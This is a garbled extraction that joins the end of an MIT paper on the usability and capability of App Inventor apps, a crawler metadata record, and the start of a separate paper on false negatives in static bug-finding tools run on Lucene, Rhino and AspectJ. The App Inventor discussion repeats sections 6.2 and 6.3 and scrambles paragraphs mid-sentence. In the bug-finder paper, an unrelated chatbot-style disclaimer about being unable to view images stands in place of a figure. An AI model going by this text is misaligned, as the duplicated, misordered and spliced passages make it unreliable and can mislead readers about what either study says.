The Storage group has the greatest median NOUB, the widest distribution, and contains the project with the most unique blocks, suggesting that apps that utilize storage functionality tend to be the most advanced and intricate. This could be because storage components often require structures such as lists and loops to leverage its more advanced functionality. An example would be using a loop to iterate over the keys and values in a database (TinyDB) component and saving values into a list.
The wide lower quartile and narrow overall distribution of the Lego group suggests its capabilities are more limited. The Lego group has a wide lower quartile (lower whisker in Figure 5) relative to its narrow distribution, suggesting that even a simple project involving Lego components requires more unique blocks to create. The narrow distribution and low median for the Lego group suggests that the capability to create Lego apps is limited. The need for more unique blocks to create even a simple app with Lego components and the limited functionality of these apps suggests that developing these apps is not as intuitive and therefore more difficult.
Because 21.9% of projects fit into multiple groups, one project can be represented in multiple plots. This is most evident in the outliers. The greatest outlier is a password keeper app with 56 unique blocks in it; it is categorized as a Storage, Connectivity, and Media app because it has components of each of those types.
6. Discussion
We critique our use of the number of unique blocks as a metric for measuring intricacy and analyze the intuitiveness of creating different types of apps with App Inventor. We then relate this discussion on usability and capability to App Inventor tutorials.
6.1 Analysis of Metric
When measuring the intricacy of projects, our challenge is to ensure that project categories do not bias our metrics. That is, our measurement of app intricacy is not affected simply because apps include a specific component and hence fall under a certain group. We want
to measure apps solely according to the intricacy exhibited by the blocks. We argue that our metric of the NOUB is not dependent on the functionality of the app and is therefore a generalizable metric of programmatic intricacy.
Because App Inventor provides a custom block for each functionality of a component, the NOUB in a project is not directly dependent on its components. App Inventor is event-driven, meaning the programming of App Inventor involves responding to an action, or event, from a component. Each component has its own unique blocks to handle events, get and set attributes of the component, and call component functions. Because of this, using one component instead of another does not inherently change the NOUB in a project. App Inventor blocks respond to events, get/set attributes, and trigger component actions. Because of App Inventor’s component-specific blocks, the NOUB in a project is a suitable metric to measure the intricacy of projects.
6.2 Considering Control Constructs
Another metric used in previous research with blocks-based languages for measuring programmatic skill is the measuring the number of “control constructs” evident in a project [19]. To measure the existence of control constructs in the context of App Inventor, we would specifically assess the number loops, lists, conditionals, procedures, and/or variables used in apps with different functionality. This metric was considered but we find that it is too dependent on the functionality of the app to be used. For example, Storage apps frequently utilize lists as temporary storage between the app and the database, whereas drawing apps typically involve a canvas for the user to draw on and rarely have a purpose for lists. Because our focus is on comparing different functionality groups, measuring the number of specific control constructs is not appropriate because different constructs lend themselves towards different functionalities.
6.3 Usability
We define a group to have high usability if it does not require many different blocks to create a simple project. If a group has high usability, we expect many projects to be categorized into that group. We define the usability score of a group as the number of projects in the group divided by the median number of unique blocks for that group. The results for the different groups are depicted in Figure 7.
Table 2. Summary Statistics for the Number of Unique Blocks by Group
<table>
<thead>
<tr>
<th></th>
<th>all</th>
<th>storage</th>
<th>drawing</th>
<th>connect.</th>
<th>social</th>
<th>sensor</th>
<th>lego</th>
<th>media</th>
<th>basic</th>
</tr>
</thead>
<tbody>
<tr>
<td>med.</td>
<td>7</td>
<td>14</td>
<td>11</td>
<td>10</td>
<td>8</td>
<td>7</td>
<td>6.5</td>
<td>5</td>
<td>6</td>
</tr>
<tr>
<td>std. dev.</td>
<td>7.11</td>
<td>9.61</td>
<td>6.83</td>
<td>8.79</td>
<td>8.73</td>
<td>7.43</td>
<td>4.86</td>
<td>6.94</td>
<td>5.80</td>
</tr>
<tr>
<td>max (w/o outliers)</td>
<td>26.5</td>
<td>38.0</td>
<td>31.0</td>
<td>33.5</td>
<td>29.0</td>
<td>29.0</td>
<td>17.5</td>
<td>23.0</td>
<td>20.5</td>
</tr>
<tr>
<td># outliers</td>
<td>90</td>
<td>11</td>
<td>6</td>
<td>14</td>
<td>10</td>
<td>12</td>
<td>1</td>
<td>26</td>
<td>41</td>
</tr>
</tbody>
</table>
Because the NOUB does not systematically vary according to the components used in the projects, we find this metric suitable for our analysis.
Figure 6. Component-Specific Blocks. The button component has a block to handle being pressed, the sound component has a block to play a sound, and the canvas component has block to set the color.
Because the NOUB does not systematically vary according to the components used in the projects, we find this metric suitable for our analysis.
6.2 Considering Control Constructs
Another metric used in previous research with blocks-based languages for measuring programmatic skill is the measuring the number of “control constructs” evident in a project [19]. To measure the existence of control constructs in the context of App Inventor, we would specifically assess the number loops, lists, conditionals, procedures, and/or variables used in apps with different functionality. This metric was considered but we find that it is too dependent on the functionality of the app to be used. For example, Storage apps frequently utilize lists as temporary storage between the app and the database, whereas drawing apps typically involve a canvas for the user to draw on and rarely have a purpose for lists. Because our focus is on comparing different functionality groups, measuring the number of specific control constructs is not appropriate because different constructs lend themselves towards different functionalities.
6.3 Usability
We define a group to have high usability if it does not require many different blocks to create a simple project. If a group has high usability, we expect many projects to be categorized into that group. We define the usability score of a group as the number of projects in the group divided by the median number of unique blocks for that group. The results for the different groups are depicted in Figure 7.
Figure 7. Usability Score (Ratio of the Number of Projects to Median Number of Unique Blocks) of Functionality Groups
Apps in the Basic group have the highest usability score and are therefore the easiest to learn. This is not surprising because we narrowly define the Basic group to contain apps that only use user interface components. The Drawing and Media groups also have high usability scores. This is likely because the tutorials heavily focus on creating Drawing apps and Media apps. We argue that the usability score is influenced by the beginner tutorials and address this later in the Discussion section.
6.4 Capability
We focus our discussion on realized capability, or the maximum potential of App Inventor that users actually reach. We are not referring to the “true” capability of App Inventor, the capability that is technically possible but in practice almost never implemented by users.
To assess the realized capabilities for App inventor to create apps of certain functionalities, we are interested in the projects in each group that have the greatest intricacy (greatest NOUB). It is these projects that best reflect the capability of App Inventor to accomplish certain functionality. We choose to look at the maximum NOUB in each group excluding outlier projects. This (non-outlier) maximum is the end of the upper whiskers in Figure 5 and also shown in Table 2. We argue that these apps best represent the capability realized by App Inventor users.
A greater maximum NOUB correlates with the ability to use App Inventor to create apps that have more advanced functionality. Having the least capability are Lego apps, with the narrowest distribution and lowest maximum NOUB. On the highest end of the
Table 3. Number of Apps that are Tutorial Recreations [Number of Tutorials] by Functionality Group and Difficulty Level
<table>
<thead>
<tr>
<th>Tutorial Difficulty</th>
<th>Beginners</th>
<th>Intermediate</th>
<th>Advanced</th>
<th>Total</th>
</tr>
</thead>
<tbody>
<tr>
<td>Groups</td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>All</td>
<td>81 (1)</td>
<td>198 (9)</td>
<td>53 (6)</td>
<td>236 (26)</td>
</tr>
<tr>
<td>Storage</td>
<td>0 (0)</td>
<td>0 (0)</td>
<td>36 (4)</td>
<td>36 (4)</td>
</tr>
<tr>
<td>Connectivity</td>
<td>0 (0)</td>
<td>9 (1)</td>
<td>26 (2)</td>
<td>35 (3)</td>
</tr>
<tr>
<td>Drawing</td>
<td>447 (4)</td>
<td>70 (5)</td>
<td>5 (2)</td>
<td>522 (11)</td>
</tr>
<tr>
<td>Social</td>
<td>0 (0)</td>
<td>6 (1)</td>
<td>0 (0)</td>
<td>6 (1)</td>
</tr>
<tr>
<td>Sensor</td>
<td>142 (2)</td>
<td>0 (0)</td>
<td>38 (4)</td>
<td>177 (6)</td>
</tr>
<tr>
<td>Lego</td>
<td>0 (0)</td>
<td>0 (0)</td>
<td>0 (0)</td>
<td>0 (0)</td>
</tr>
<tr>
<td>Media</td>
<td>198 (2)</td>
<td>4 (3)</td>
<td>0 (0)</td>
<td>202 (3)</td>
</tr>
<tr>
<td>Basic</td>
<td>81 (1)</td>
<td>11 (1)</td>
<td>0 (0)</td>
<td>92 (2)</td>
</tr>
</tbody>
</table>
This correlation between the number of tutorial recreations and the usability scores for a given functionality suggests that users build off the knowledge from tutorials when creating an app. The relationship between few tutorial recreations for groups and low usability scores suggests that if users do not learn a concept directly from a tutorial, they tend to have trouble generalizing knowledge from other tutorials. Therefore, users tend not to create apps that are functionally different from completed tutorials. This is troublesome as [13] noted that 71.3% of users of the TouchDevelop environment tended to learn only a few features initially and then seek to learn more later. We observe that users do not complete enough tutorials to gain a thorough understanding to create apps of differing functionality with App Inventor, so there exists a need to make tutorials more available and the knowledge from them more generalizable.
To better prepare users to create apps with more diverse functionality, we propose changes to the App Inventor learning resources to ensure tutorials are more accessible and contain more transferrable knowledge. We consider the following changes to App Inventor tutorials:
- Avoid Pre-Defined Paths for Tutorials: As of now, App Inventor tutorials exist as a list where tutorials often do not build off of knowledge from previous ones. So, we suggest that tutorials be offered in such a way that users do not feel obligated to follow an unnecessary predefined “path” when recreating tutorials. Instead, users should be more inclined to select tutorials relevant to their interests.
- Organizing Learning Resources: Because learning resources tend to be separate from each other on the MIT App Inventor website, users may not know where to go when they encounter a problem, or they may not even know given resources exist. For example, concept cards, which explain specific concepts or references for users [21]. They are placed with the teaching environment that fosters computational thinking [20].
The close correlation between usability scores and the order of App Inventor tutorials suggests that users build apps based on knowledge from the tutorials that they complete. On the App Inventor website, tutorials are displayed as a list in sequential order, starting from Beginner tutorials and ending with Advanced tutorials (Figure 8). Table 3 shows the number of projects that were found to be tutorial recreations as well as the number of tutorials for each group.
This spectrum are Storage apps which leverage databases or tables to persist data.
We see that apps with the greatest capability tend to connect and extend the app to other functionality on a mobile device or with the web. Storage and connectivity apps have the greatest maximum NOUB so we say these groups have the greatest realized capability. Storage apps connect to some form of data persistence (database, table, file). Connectivity apps connect with other apps on the phone, utilize Bluetooth, and connect with the web APIs. Connectivity apps often do not build off each other on the MIT App Inventor website, entirely separate from the tutorials that they complete in the sequence, the fewer times it will be recreated.
Most users tend to start with the beginner tutorials, but the number of tutorials followed until users create their own original projects varies. The earlier a tutorial appears in the sequence on the website, the more users will use it. We see Drawing, Media and Sensor apps appear as beginner tutorials; these groups also account for most of the tutorial recreations and have the highest usability scores. There are no Lego tutorials, and the very low usability score reflects that. Although there are six tutorials involving Storage functionality, they are classified as Intermediate and Advanced, so there are fewer recreations of these tutorials. The Connectivity and Social groups also have a low usability score and few projects recreate these tutorials. We observe that lower usability scores correlate to groups that have fewer tutorial recreations; the farther along a tutorial exists in the sequence, the fewer times it will be recreated.
Figure 8. App Inventor tutorials are displayed in sequential order despite the fact that content of tutorials often do not build off each other.
tutorials. Ensuring that users have a centralized and organized point to access resources would better support users.
- Modularize Tutorials to Focus on Functionality: App Inventor tutorials focus on how to develop a functioning app. The need we find on the forums is help on how to accomplish specific functionalities, such as persisting a high score in a game or sharing data across multiple screens [22]. Having a 5-10 minute tutorial on “How to use Lists” rather than an hour tutorial that records a list of addresses and views them on Google Maps (“Map It: Displaying Locations on a Google Map,” the only tutorial with lists), enables users to succinctly learn the specific functionality they are in question about.
- Leverage the Community Gallery: The App Inventor gallery is a recent addition to App Inventor which enables users to share their projects and “remix” and build off of projects other users shared [23]. With this, App Inventor learning resources no longer need to show the creation of apps from blank, completely new projects. Instead, they can look to well-built apps shared by the community and highlight ones that other users can learn from and build off of.
- Adaptive Tutorials: Suggested in a similar context by [13], an adaptive tutoring system would recommend resources relevant to what the user is creating and avoid concepts already learned or implemented. This would enable users to monitor their own progress and give them a more holistic perspective of the functionalities offered with App Inventor environment.
7. Conclusion
In this paper, we evaluate the usability (low floor) and capability (high ceiling) of App Inventor, a web-based environment that enables users to create mobile apps with a visual blocks based programming language. From our sample of 5,228 apps, we filtered out certainly static apps and apps that are recreations of our tutorials and grouped the remaining apps by similar functionality. We then measured the number of unique blocks for projects in each group and compared the groups.
Our critical findings: (1) There exists a strong correlation between the usability and the number of tutorial recreations for a given functionality group; (2) users tend to follow tutorials sequentially and therefore often do not complete more than beginner tutorials; (3) users tend to develop apps that are functionally similar to completed tutorials; (4) apps with the greatest realized capability tend to connect to other functionality on a mobile device or with the web (external databases, APIs, etc.). These findings suggest that the realized capabilities of App Inventor are limited by the provided learning resources. We provide a list of recommendations for improving these resources for end-users. These recommendations are not specific to the App Inventor environment and are transferable and applicable to other programming environments and tools that have online resources.
The existence of non-functional projects and recreations of tutorials in our dataset offer opportunities for future work. While we filtered out projects that were certainly static by ensuring all projects had the minimum number of components and blocks, there still exist projects in our dataset that do not have any functionality. Disregarding blocks that are not connected to other blocks and components with no programmed functionality would better filter out the non-functional projects. And although we filter out projects that are recreations of tutorials by matching project names, a more robust method of identifying projects that are merely recreations would improve the dataset. We could also focus analysis on specific advanced structures more closely tied with computational thinking such as iterators and procedures, as defined by [24]. Finally, there is promise in analyzing user and temporal data, investigating how users and their apps develop over time.
Acknowledgments
We thank Jeffery Schiller (MIT App Inventor) for helping collect the data, Ilaria Liccardi (MIT) and Franklyn Turbak (Wellesley College) for helping guide the analysis, and Aubrey Collier (MIT App Inventor) and Nicole Zeinstra (MIT) for significantly helping proofread this paper.
This research is funded by the MIT EECS - Google Research and Innovation Scholarship as part of the 2014-15 MIT SuperUROP Program.
References
[15] Course in a Box. URL http://www.appinventor.org/content/CourseInABox/Intro. This is a series of video tutorials. Online; last accessed 29-April-2015.
|
{"Source-Url": "http://dspace.mit.edu/openaccess-disseminate/1721.1/98913", "len_cl100k_base": 8445, "olmocr-version": "0.1.48", "pdf-total-pages": 9, "total-fallback-pages": 0, "total-input-tokens": 26961, "total-output-tokens": 9975, "length": "2e13", "weborganizer": {"__label__adult": 0.0005326271057128906, "__label__art_design": 0.0015478134155273438, "__label__crime_law": 0.00040078163146972656, "__label__education_jobs": 0.035369873046875, "__label__entertainment": 0.00020933151245117188, "__label__fashion_beauty": 0.00034880638122558594, "__label__finance_business": 0.000751495361328125, "__label__food_dining": 0.0005154609680175781, "__label__games": 0.0014200210571289062, "__label__hardware": 0.0023174285888671875, "__label__health": 0.0008268356323242188, "__label__history": 0.0007715225219726562, "__label__home_hobbies": 0.00033473968505859375, "__label__industrial": 0.0006685256958007812, "__label__literature": 0.0007686614990234375, "__label__politics": 0.0003352165222167969, "__label__religion": 0.0006814002990722656, "__label__science_tech": 0.12371826171875, "__label__social_life": 0.00029969215393066406, "__label__software": 0.0166778564453125, "__label__software_dev": 0.8095703125, "__label__sports_fitness": 0.0004527568817138672, "__label__transportation": 0.0010080337524414062, "__label__travel": 0.0003006458282470703}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 44743, 0.04117]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 44743, 0.45652]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 44743, 0.90888]], "google_gemma-3-12b-it_contains_pii": [[0, 2706, false], [2706, 7922, null], [7922, 14305, null], [14305, 19529, null], [19529, 24000, null], [24000, 30744, null], [30744, 36049, null], [36049, 42984, null], [42984, 44743, null]], "google_gemma-3-12b-it_is_public_document": [[0, 2706, true], [2706, 7922, null], [7922, 14305, null], [14305, 19529, null], [19529, 24000, null], [24000, 30744, null], [30744, 36049, null], [36049, 42984, null], [42984, 44743, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, true], [5000, 44743, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 44743, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 44743, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 44743, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 44743, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 44743, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 44743, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 44743, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 44743, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 44743, null]], "pdf_page_numbers": [[0, 2706, 1], [2706, 7922, 2], [7922, 14305, 3], [14305, 19529, 4], [19529, 24000, 5], [24000, 30744, 6], [30744, 36049, 7], [36049, 42984, 8], [42984, 44743, 9]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 44743, 0.20541]]}
|
olmocr_science_pdfs
|
2024-11-24
|
2024-11-24
|
890de0faec1a449fc737d6ed37396ae5d489d4fd
|
To What Extent Could We Detect Field Defects?
An Empirical Study of False Negatives in Static Bug Finding Tools
Ferdian Thung¹, Lucia¹, David Lo¹, Lingxiao Jiang¹, Foyzur Rahman², and Premkumar T. Devanbu²,
¹Singapore Management University, Singapore
²University of California, Davis
{ferdianthung,lucia.2009,davidlo,lxjiang}@smu.edu.sg,
{mfrahman,ptdevanbu}@ucdavis.edu
ABSTRACT
Software defects can cause much loss. Static bug-finding tools are believed to help detect and remove defects. These tools are designed to find programming errors; but, do they in fact help prevent actual defects that occur in the field and reported by users? If these tools had been used, would they have detected these field defects, and generated warnings that would direct programmers to fix them? To answer these questions, we perform an empirical study that investigates the effectiveness of state-of-the-art static bug finding tools on hundreds of reported and fixed defects extracted from three open source programs: Lucene, Rhino, and AspectJ. Our study addresses the question: To what extent could field defects be found and detected by state-of-the-art static bug-finding tools? Different from past studies that are concerned with the numbers of false positives produced by such tools, we address an orthogonal issue on the numbers of false negatives. We find that although many field defects could be detected by static bug finding tools, a substantial proportion of defects could not be flagged. We also analyze the types of tool warnings that are more effective in finding field defects and characterize the types of missed defects.
Categories and Subject Descriptors
D.2.5 [Testing and Debugging]: Debugging aids/Testing tools
General Terms
Experimentation, Measurement, Reliability
Keywords
Static bug-finding tools, field defects, false negatives
1. INTRODUCTION
Bugs are prevalent in many software systems. The National Institute of Standards and Technology (NIST) has estimated that bugs cost the US economy billions of dollars annually [48]. Bugs are not merely economically harmful; they can also harm life & property when mission critical systems malfunction. Clearly, techniques that can detect and reduce bugs would be very beneficial. To achieve this goal, many static analysis tools have been proposed to find bugs. Static bug finding tools, such as FindBugs [28], JLint [5], and PMD [14], have been shown to be helpful in detecting many bugs, even in mature software [8]. It is thus reasonable to believe that such tools are a useful adjunct to other bug finding techniques such as testing and inspection.
Although static bug finding tools are effective in some settings, it is unclear whether the warnings that they generate are really useful. Two issues are particularly important to be addressed: First, many warnings need to correspond to actual defects that would be experienced and reported by users. Second, many actual defects should be captured by the generated warnings. For the first issue, there have been a number of studies showing that the numbers of false warnings (or false positives) are too many, and some have proposed techniques to prioritize warnings [23–25, 44]. While the first issue has received much attention, the second issue has received less. Many papers on bug detection tools just report the number of defects that they can detect. It is unclear how many defects are missed by these bug detection tools. While the first issue is concerned with false positives, the second focuses on false negatives. We argue that both issues deserve equal attention as both have impact on the quality of software systems. If false positives are not satisfactorily addressed, this would make bug finding tools unusable. If false negatives are not satisfactorily addressed, the impact of these tools on software quality would be minimal. On mission critical systems, false negatives may even deserve more attention. Thus, there is a need to investigate the false negative rates of such tools on actual field defects.
Our study tries to fill this research gap by answering the following research question, and we use the term “bug” and “defect” interchangeably both of which refer to errors or flaws in a software:
To what extent could state-of-the-art static bug finding tools detect field defects?
To investigate this research question, we make use of abundant data available in bug-tracking systems and software repositories. Bug-tracking systems, such as Bugzilla or JIRA, record descriptions of bugs that are actually experienced and reported by users. Software repositories contain information on what code elements get changed, removed, or added at
different periods of time. Such information can be linked together to track bugs and when and how they get fixed. JIRA has the capability to link a bug report with the changed code that fixes the bug. Also, many techniques have been employed to link bug reports in Bugzilla to their corresponding SVN/CVS code changes [19,51]. These data sources provide us descriptions of actual field defects and their treatments. Based on the descriptions, we are able to infer root causes of defects (i.e., the faulty lines of code) from the bug treatments. To ensure accurate identification of faulty lines of code, we perform several iterations of manual inspections to identify lines of code that are responsible for the defects. Then, we are able to compare the identified root causes with the lines of code flagged by static bug finding tools, and to analyze the proportion of defects that are missed or captured by the tools.
In this work, we perform an exploratory study with three state-of-the-art static bug finding tools, FindBugs, PMD, and JLint, on three reasonably large open source Java programs, Lucene, Rhino, and AspectJ. Lucene, Rhino, and AspectJ have 58, 35, and 9 committers respectively. We use bugs reported in JIRA for Lucene version 2.9, and the iBugs dataset provided by Dallmeier and Zimmermann [19] for Rhino and AspectJ. Our manual analysis identifies 200 real-life defects that we can unambiguously locate faulty lines of code. We find that many of these defects could be detected by FindBugs, PMD, and JLint, but a number of them remain undetected.
The main contributions of this work are:
1. We examine the number of real-life defects missed by various static bug finding tools, and evaluate the tools’ performance in terms of their false negative rates.
2. We investigate the warning families in various tools that are effective in detecting actual defects.
3. We characterize actual defects that could not be flagged by the static bug finding tools.
The paper is structured as follows. In Section 2, we present introductory information on various static bug finding tools. In Section 3, we present our experimental methodology. In Section 4, we present our empirical findings and discuss interesting issues. In Section 5, we describe related work. We conclude with future work in Section 6.
2. BUG FINDING TOOLS
In this section, we first provide a short survey of different bug finding tools that could be grouped into: static, dynamic, and machine learning based. We then present the 3 static bug finding tools that we evaluate in this study, namely FindBugs, AspectJ, and JLint.
2.1 Categorization of Bug Finding Tools
Many bug finding tools are based on static analysis techniques [39], such as type systems [37], constraint-based analysis [52], model checking [10, 15, 26], abstract interpretation [16, 17], or a combination of various techniques [9, 22, 29, 49]. They often produce various false positives, and in theory they should be free of false negatives for the kinds of defects they are designed to detect. However, due to implementation limitations and the fact that a large program often contains defect types that are beyond the designed ca-
abilities of the tools, such tools may still suffer from false negatives with respect to all kinds of defects.
In this study, we analyze several static bug finding tools that make use of warning patterns for bug detection. These tools are lightweight and can scale to large programs. On the downside, these tools do not consider the specifications of a system, and may miss defects due to specification violations.
Other bug finding tools also use dynamic analysis techniques, such as dynamic slicing [50], dynamic instrumentation [38], directed random testing [12, 21, 45], and invariant detection [11, 20]. Such tools often explore particular parts of a program and produce no or few false positives. However, they seldom cover all parts of a program; they are thus expected to have false negatives.
There are also studies on bug prediction with data mining and machine learning techniques, which may have both false positives and negatives. For example, Slawski et al. [46] analyze code change patterns that may cause defects. Ostrand et al. [40] use a regression model to predict defects. Nagappan et al. [36] apply principal component analysis on the code complexity metrics of commercial software to predict failure-prone components. Kim et al. [33] predict potential faults from bug reports and fix histories.
2.2 FindBugs
FindBugs was first developed by Hovemeyer and Pugh [28]. It statically analyzes Java bytecode against various families of warnings characterizing common bugs in many systems. Code matching a set of warning patterns are flagged to the user, along with the specific locations of the code.
FindBugs comes with a lot of built-in warnings. These include: null pointer dereference, method not checking for null argument, close() invoked on a value that is always null, test for floating point equality, and many more. There are hundreds of warnings; these fall under a set of warning families including: correctness, bad practice, malicious code vulnerability, multi-threaded correctness, style, internationalization, performance, risky coding practice, etc.
2.3 JLint
JLint, developed by Artho et al., is a tool to find defects, inconsistent code, and problems with synchronization in multi-threading applications [5]. Similar to FindBugs, JLint also analyzes Java bytecode against a set of warning patterns. It constructs and checks a lock-graph, and does data-flow analysis. Code fragments matching the warning patterns are flagged and outputted to the user along with their locations. JLint provides many warnings such as potential deadlocks, unsynchronized method implementing ‘Runnable’ interface, method finalize() not calling super.finalize(), null reference, etc. These warnings are group under three families: synchronization, inheritance, and data flow.
2.4 PMD
PMD, developed by Copeland i.e.et al., is a tool that finds defects, dead code, duplicate code, sub-optimal code, and overcomplicated expressions [14]. Different from FindBugs and JLint, PMD analyzes Java source code rather than Java bytecode. PMD also comes with a set of warning patterns and finds locations in code matching these patterns. PMD provides many warning patterns, such as jumbled incrementer, return from finally block, class cast exception
with `toArray`, misplaced null check, etc. These warning patterns fall into families, such as design, strict exceptions, clone, unused code, String and StringBuffer, security code, etc., which are referred to as rule sets.
3. METHODOLOGY
We make use of bug-tracking, version control, and state-of-the-art bug finding tools. First, we extract bugs and the faulty lines of code that are responsible for them. Next, we run bug finding tools for the various program releases before the bugs get fixed. Finally, we compare warnings given by bug finding tools and the real bugs.
3.1 Extraction of Faulty Lines of Code
We analyze two common configurations of bug tracking systems and code repositories to get historically faulty lines of code. One configuration is the combination of CVS as the source control repository, and Bugzilla as the bug tracking system. Another configuration is the combination of Git as the source control repository, and JIRA as the bug tracking system. We describe how these two configurations could be analyzed to extract root causes of fixed defects.
**Data Extraction:** CVS with Bugzilla. For the first configuration, Dallmeier and Zimmermann have proposed an approach to automatically analyze CVS and Bugzilla to link information [19]. Their approach is able to extract bug reports linked to corresponding CVS entries that fix the corresponding bugs. They are also able to download the code before and after the bug fix. The code to perform this has been publicly released for several software systems. As our focus is on defects, we remove bug reports that are marked as enhancements (i.e., they are new feature requests), and the CVS commits that correspond to them.
**Data Extraction: Git cum JIRA.** Git and JIRA have features that make it preferable over CVS and Bugzilla. JIRA bug tracking systems explicitly links bug reports to the revisions that fix the corresponding defects. From these fixes, we use Git `diff` to find the location of the buggy code and we download the revision prior to the fix by appending the `^A` symbol to the hashcode of the corresponding fix revision number. Again we remove bug reports and Git commits that are marked as enhancements.
**Identification of Faulty Lines.** The above process gives us a set of real-life defects along with the set of changes that fix them. To find the corresponding root causes, we perform a manual process based on the treatments of the defects. Kawrykow and Robillard have proposed an approach to remove non-essential changes [31] and convert “dirty” treatments to “clean” treatments. However, they still do not recover the root causes of defects.
Our process for locating root causes could not be easily automated by a simple `diff` operation between two versions of the systems (after and prior to the fix), due to the following reasons. First, not all changes fix the bug [31]; some, such as addition of new lines, removal of new lines, changes in indentations, etc., are only cosmetic changes that make the code aesthetically better. Figure 1 shows such an example. Second, even if all changes are essential, it is not straightforward to identify the defective lines from the fixes. Some fixes introduce additional code, and we need to find the corresponding faulty lines that are fixed by the additional code. We show several examples highlighting the process of extracting root causes from their treatments for a simple and a slightly more complicated case in Figures 2 & 3.
Figure 2 describes a bug fixing activity where one line of code is changed by modifying the operator `==` to `!=`. It is easy for us to identify the faulty line which is the line that gets changed. A more complicated case is shown in Figure 3. There are four sets of faulty lines that could be inferred from the `diff`: one is line 259 (marked with `*`), where an unnecessary method call needs to be removed; a similar fault is at line 262; the third set of faulty lines are at lines 838-340, and they are condition checks that should be removed; the fourth one is at line 887 and it misses a pre-condition check. For this case, the `diff` is much larger than the faulty lines that are manually identified.
Figure 3 illustrates the difficulties in automating the identification of faulty lines. To ensure the fidelity of identified root causes, we perform several iterations of manual inspections. For some ambiguous cases, several of the authors discussed and came to resolutions. Some cases that are still deemed ambiguous (i.e., it is unclear or difficult to manually locate the faulty lines) are removed from this empirical study. We show such an example in Figure 4. This example shows a bug fixing activity where an if block is inserted into the code and it is unclear which lines are really faulty.
At the end of the above process, we get the sets of faulty lines `Faulty` for all defects in our collection. Notation-wise, we refer to these sets of lines using an index notation `Faulty[i]`. We refer to the set of lines in `Faulty` that correspond to the `i`th defect as `Faulty[i]`.
3.2 Extraction of Warnings
To evaluate the static bug finding tools, we run the tools on the program versions before the defects get fixed. An ideal bug finding tool would recover the faulty lines of the program—possibly with other lines corresponding to other defects lying within the software system. Some of these warnings are false positives, while others are true positives.
For each defect, we extract the version of the program in the repository prior to the bug fix. We have such information already as an intermediate result for the root cause extraction process. We then run the bug finding tools on these program versions. Because 13.42% of these versions could not be compiled, we remove them from our analysis, which is a threat to validity of our study (see section 4.3).
As described in Section 2, each of the bug finding tools takes in a set of rules or the types of defects and flags them if found. By default, we enable all rules/types of defects available in the tools, except that we exclude two rule sets from PMD: one related to Android development, and the other whose XML configuration file could not be read by PMD (i.e., Coupling).
Each run would produce a set of warnings. Each warning flags a set of lines of code. Notation-wise, we refer to the sets of lines of code for all runs as `Warning`, and the set of lines of code for the `i`th warning as `Warning[i]`. Also, we refer to the sets of lines of code for all runs of a particular tool `T` as `Warning_T`, and similarly we have `Warning_T[i]`.
3.3 Extraction of Missed Defects
With the faulty lines `Faulty` obtained through manual analysis, and the lines flagged by the static bug finding tools `Warning`, we can look for false negatives, i.e., actual reported and fixed defects that are missed by the tools.
As an assistant, I can analyze the content of the document you've provided. However, without the ability to interact with the images directly, I'm unable to interpret the visual elements. If you can describe the visual information or if you have a specific question or issue you need help with, please provide more details.
3.4 Overall Approach
Our overall approach is illustrated by the pseudocode in Figure 5. Our approach takes in a bug repository (e.g., Bugzilla or JIRA), a code repository (e.g., CVS or Git), and a bug finding tool (e.g., FindBugs, PMD, or JLint). For each bug report in the repository, it performs three steps mentioned in previous sub-sections: Faulty lines extraction, warning identification, and missed defect detection.
The first step corresponds to lines 3-8. We find the bug fix commit corresponding to the bug report. We identify the version prior to the bug fix commit. We perform a `diff` to find the differences between these two versions. Faulty lines are then extracted by a manual analysis. The second step corresponds to lines 9-11. Here, we simply run the bug finding tools and collect lines of code flagged by the various warnings. Finally, step three is performed by lines 12-19. Here, we detect cases where the bug finding tool `misses`, `partially captures`, or `fully captures` a defect. The final statistics is output at line 20.
```plaintext
Procedure IdentifyMissedDefects
Inputs: BugRepo : Bug Repository
CodeRepo : Code Repository
BFTool : Bug Finding Tool
Output: Statistics of Defects that are Missed and Captured (Fully or Partially)
Method:
1: Let Stats = {}
2: For each bug report br in BugRepo
3: // Step 1: Extract faulty lines of code
4: Let fixC = br's corresponding fix commit in CodeRepo
5: Let bugC = Revision before fixC in CodeRepo
6: Let diff = The difference between fixC and bugC
7: Extract faulty lines from diff
8: Let FaultyC = Faulty lines in bugC
9: // Step 2: Get warnings
10: Run BFTool on bugC
11: Let WarningC = Flagged lines in bugC by BFTool
12: // Step 3: Detect missed defects
13: Let Common = {}
14: If Common = {}
15: Add (br, miss) to Stats
16: Else If Common = FaultyC
17: Add (br, full) to Stats
18: Else
19: Add (br, partial) to Stats
20: Output Stats
```
Figure 5: Identification of Missed Defects.
4. EMPIRICAL EVALUATION
In this section we present our research questions, datasets, empirical findings, and threats to validity.
4.1 Research Question & Dataset
We would like to answer the following research questions:
RQ1: How many real-life reported and fixed defects from Lucene, Rhino, and AspectJ are missed by state-of-the-art static bug finding tools?
RQ2: What types of warnings reported by the tools are most effective in detecting actual defects?
RQ3: What are some characteristics of the defects missed by the tools?
